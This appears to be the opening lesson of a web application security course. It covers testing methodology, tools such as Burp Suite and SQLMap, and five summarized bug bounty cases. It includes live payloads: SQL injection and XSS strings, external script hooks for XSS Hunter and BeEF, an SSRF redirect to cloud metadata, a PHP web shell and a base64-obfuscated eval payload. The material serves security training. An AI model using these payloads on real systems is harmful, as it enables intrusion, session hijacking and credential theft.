Course Introduction
Your Gateway to Modern Web Application Security
What You'll Discover
🎯 Why This Matters
Web applications have become the primary attack surface in modern cybersecurity. Over 90% of successful attacks target web applications because they're accessible from anywhere on the internet. When you understand web application security, you're learning the exact same techniques that security experts use to protect billion-dollar companies and critical infrastructure worldwide.
🔍 What You'll Learn
You'll understand the industry-standard methodologies that security experts use to assess web applications. This includes the OWASP Top 10 vulnerabilities, proven tools like Burp Suite and SQLMap, and systematic testing approaches—the same arsenal used by penetration testers in real-world security assessments.
🚀 Your First Win
Within the next 15 minutes, you'll understand the complete roadmap for web application security testing and know exactly which vulnerabilities to look for first. You'll see how systematic security assessment works and why certain attack patterns consistently succeed against modern applications.
🔧 Try This Right Now
Start thinking like a security expert by analyzing this vulnerable login form scenario
# Picture this: You're testing a login form at http://<target>/login
# Look for these attack vectors that experts always test:
# 1. SQL Injection in username field
username: admin' OR '1'='1' --
password: anything
# 2. Check for weak session management
# - Does the session ID change after login?
# - Is the session cookie secure and HttpOnly?
# 3. Test for XSS in error messages
username: <script>alert('XSS')</script>
password: test
# 4. Look for information disclosure
# - Different error messages for valid vs invalid users?
# - Password policy revealed in client-side validation?You'll see: How a systematic approach to testing reveals multiple potential vulnerabilities in what seems like a simple login form. This mindset is what separates security experts from casual testers.
Skills You'll Master
✅ Core Understanding
- How web applications actually work (and break)
- The OWASP Top 10 vulnerabilities that matter most
- Systematic security assessment methodologies
- Industry-standard tools and their real-world usage
🔍 Expert Skills
- Using Burp Suite like a security consultant
- Manual testing techniques that separate experts
- Automating assessments with proven tools
- Implementing proper defensive countermeasures
Understanding Modern Web Security
Web application security is about understanding how applications fail and exploiting those failures systematically
The key insight is that web applications are complex systems with many moving parts—each part is a potential attack surface. Security experts don't randomly test applications; they follow proven methodologies that ensure comprehensive coverage of all potential vulnerabilities.
Common Attack Vectors
The main ways applications get compromised
Input validation failures
Authentication bypasses
Session management flaws
Access control issues
Server-side vulnerabilitiesTesting Approach
How security experts systematically assess applications
Reconnaissance
Vulnerability identification
Exploitation
Impact assessment
Remediation guidanceReal-World Impact
What happens when security fails
Data breaches
Account takeovers
Financial fraud
Service disruption
Reputation damageTools and Techniques You'll Use
Security experts use a combination of automated tools and manual techniques. Understanding both approaches gives you the complete toolkit needed for thorough security assessments.
Burp Suite: The Expert Platform
Burp Suite is the industry standard web application testing platform used by security experts worldwide. It provides comprehensive tools for intercepting, analyzing, and modifying web traffic.
Core Burp Suite Components
# Proxy: Intercept and modify HTTP requests
# Repeater: Manually test individual requests
# Intruder: Automated payload testing
# Scanner: Automated vulnerability detection
# Sequencer: Analyze session token randomness
# Expert workflow example:
1. Configure browser to use Burp proxy (127.0.0.1:8080)
2. Navigate application while Burp captures traffic
3. Send interesting requests to Repeater for manual testing
4. Use Intruder for systematic payload testing
5. Run Scanner for comprehensive automated assessmentThis workflow ensures both automated and manual testing coverage, the same approach used by security consultants during client assessments.
Manual Testing: The Expert Edge
While automated tools are powerful, manual testing is what separates security experts from automated scanners. Manual techniques find business logic flaws and context-specific vulnerabilities that tools miss.
Manual Testing Techniques
# Parameter manipulation
# - Modify hidden form fields
# - Test different data types in inputs
# - Bypass client-side validation
# Business logic testing
# - Test multi-step processes out of order
# - Modify prices/quantities in e-commerce
# - Test privilege escalation scenarios
# Authentication testing
# - Password policy analysis
# - Session management evaluation
# - Multi-factor authentication bypassThis systematic manual approach ensures comprehensive coverage of application functionality and reveals vulnerabilities that require human insight to discover.
Specialized Tools: The Complete Arsenal
Different vulnerabilities require specialized tools. Security experts know when and how to use each tool for maximum effectiveness.
Expert Tool Selection
# SQLMap: SQL injection automation
python sqlmap.py -u "http://<target>/page?id=1" --dbs
# XSS Hunter: Blind XSS detection
<script src=https://hackerdna.xss.ht></script>
# jwt_tool: JWT token manipulation
python jwt_tool.py [TOKEN] -C -d wordlist.txt
# BeEF: Browser exploitation framework
<script src="http://hdna-beef:3000/hook.js"></script>
# SecLists: Comprehensive wordlists for testing
/usr/share/seclists/Discovery/Web-Content/common.txtThis specialized toolkit allows security experts to efficiently test for specific vulnerability classes with purpose-built tools designed for maximum effectiveness.
Real-World Application Scenarios
These are actual documented bug bounty findings and security assessments that demonstrate exactly the vulnerability types you'll learn in this course. Each case shows how basic web application flaws can lead to significant security breaches.
Case 1: $3,500 Facebook Stored XSS via File Sharing
Security researcher Frans Rosén discovered a stored XSS vulnerability in Facebook's file sharing feature by exploiting how external services like Dropbox handled filenames. Full technical writeup demonstrates systematic XSS exploitation.
# XSS Discovery Process
1. Found Dropbox filename restrictions in web interface
2. Bypassed restrictions using local sync with malicious filename:
'"><img src=x onerror=alert(document.domain)>.txt
3. Shared file via Facebook integration
4. Discovered XSS triggered when clicking share popup
5. Escalated to work without user interaction via direct URL
6. Extended attack to work on mobile devices
# Technical Details:
- Stored XSS in Facebook's share functionality
- Worked across multiple external services (Dropbox, Pinterest)
- Required systematic testing of integration points
- Exploited trust relationships between platformsKey Learning: XSS vulnerabilities often exist at integration points between services. Systematic testing of filename handling and share features revealed a critical flaw worth $3,500.
Case 2: $4,913 SSRF in Dropbox/HelloSign Integration
Bug hunter Sayaan Alam discovered SSRF in HelloSign's document import feature, leading to AWS metadata exposure and his highest bounty ever. Detailed technical analysis shows SSRF escalation techniques.
# SSRF Exploitation Chain
1. Tested OneDrive import feature in HelloSign
2. Modified file_reference parameter to collaborator URL
3. Confirmed server-side requests were being made
4. Attempted direct localhost access - blocked
5. Used 303 redirect to bypass SSRF protection:
<?php header('Location: http://169.254.169.254/latest/meta-data/', TRUE, 303); ?>
6. Successfully accessed AWS Instance Metadata Service
7. Retrieved access keys, tokens, and sensitive AWS data
# Impact:
- Full AWS metadata exposure
- Access to EC2 instance credentials
- Potential for further AWS service compromiseKey Learning: SSRF protection bypasses using HTTP redirects can expose cloud metadata services. Testing different service integrations (OneDrive vs Dropbox) revealed the vulnerable endpoint.
Case 3: SQL Injection in Private HackerOne Program
Security researcher Sunil Yedla found SQL injection in an endpoint's ID parameter using basic testing techniques. Complete discovery process demonstrates fundamental SQL injection identification.
# SQL Injection Discovery
1. Found endpoint: GET /rest/aom/index?id=3
2. Added single quote to test: id=3'
3. Server responded with detailed SQL error:
"SQLSTATE[42000]: Syntax error...
query was: SELECT aom_campaign.* FROM aom_campaign
WHERE (id=3') LIMIT 1"
4. Confirmed MySQL database with exposed table structure
5. Classic SQL injection in WHERE clause parameter
# Response Timeline:
- Reported: June 13th
- Triaged: Same day
- Fixed: June 16th
- Rewarded: $50 + 15 reputation pointsKey Learning: Basic SQL injection testing (adding a single quote) can still reveal vulnerabilities. Error messages exposing database structure provide valuable reconnaissance information.
Case 4: CSRF Leading to Google Ad Manager Compromise
Researcher Oday Alhalabi discovered a CSRF vulnerability in Google Ad Manager that allowed attackers to modify victim notification settings by changing just one character in the security token. Simple but effective approach shows CSRF token bypass techniques.
# CSRF Token Bypass Discovery
1. Tested Google Ad Manager notification settings
2. Captured request with security_token parameter
3. Attempted various CSRF bypass techniques:
- Token removal: Failed
- Empty token: Failed
- Different valid token: Failed
4. Modified single character in valid token: Success!
5. Created CSRF PoC that worked across different accounts
# Vulnerability Impact:
- Attackers could modify victim email notification preferences
- Works by changing just one character in security token
- Affects Google Ad Manager users globally
- Rewarded $500 from Google VRPKey Learning: Sometimes CSRF protection relies on weak validation. Testing small modifications to tokens can reveal implementation flaws that allow bypasses.
Case 5: Remote Code Execution via File Upload Bypass
Security researcher Akash A achieved RCE by bypassing file upload restrictions using base64 encoding techniques. Technical bypass methods demonstrate advanced file upload exploitation.
# File Upload RCE Chain
1. Identified Apache server using Wappalyzer
2. Tested profile upload with .php extension
3. Bypassed client-side restrictions using Burp Suite
4. Server blocked "php" keyword in file content
5. Successfully uploaded PHP short tags: <? system($_GET['cmd']); ?>
6. Files uploaded but not executable due to server restrictions
7. Crafted base64 encoded payload to bypass content filtering:
<?=eval(base64_decode('ZWNobyBzaGVsbF91eGVjKCRfR0VUWydjbWQnXS4nIDI+JjEnKTs='));?>
8. Achieved remote code execution and uploaded web shell
# Exploitation Results:
- Full server compromise via web shell
- Ability to execute arbitrary system commands
- Escalated to reverse shell for persistent accessKey Learning: File upload vulnerabilities require testing multiple bypass techniques. Encoding payloads can evade content-based filtering while still achieving code execution.
Building Your Security Mindset
Understanding defensive countermeasures makes you a better attacker and helps you provide valuable remediation guidance. Security experts think from both offensive and defensive perspectives.
Secure Development Principles
Core Security Controls
# Input validation and sanitization
# - Whitelist acceptable characters and patterns
# - Validate data types and lengths server-side
# - Use parameterized queries for database access
# Authentication and authorization
# - Implement strong session management
# - Use multi-factor authentication where appropriate
# - Apply principle of least privilege
# Security headers and configuration
# - Content Security Policy (CSP)
# - HTTP Strict Transport Security (HSTS)
# - Secure cookie configurationDefense in Depth Strategy
- Multiple layers - Never rely on a single security control
- Fail securely - Ensure errors don't expose sensitive information
- Regular updates - Keep all components current with security patches
- Monitoring - Detect and respond to suspicious activities
🎯 You're Ready to Start Your Security Journey!
You now understand the roadmap for modern web application security testing. You know which vulnerabilities to look for, which tools to use, and how systematic assessment works. Time to dive into the hands-on techniques that separate security experts from the rest.
Ready to Exploit Your First Web Application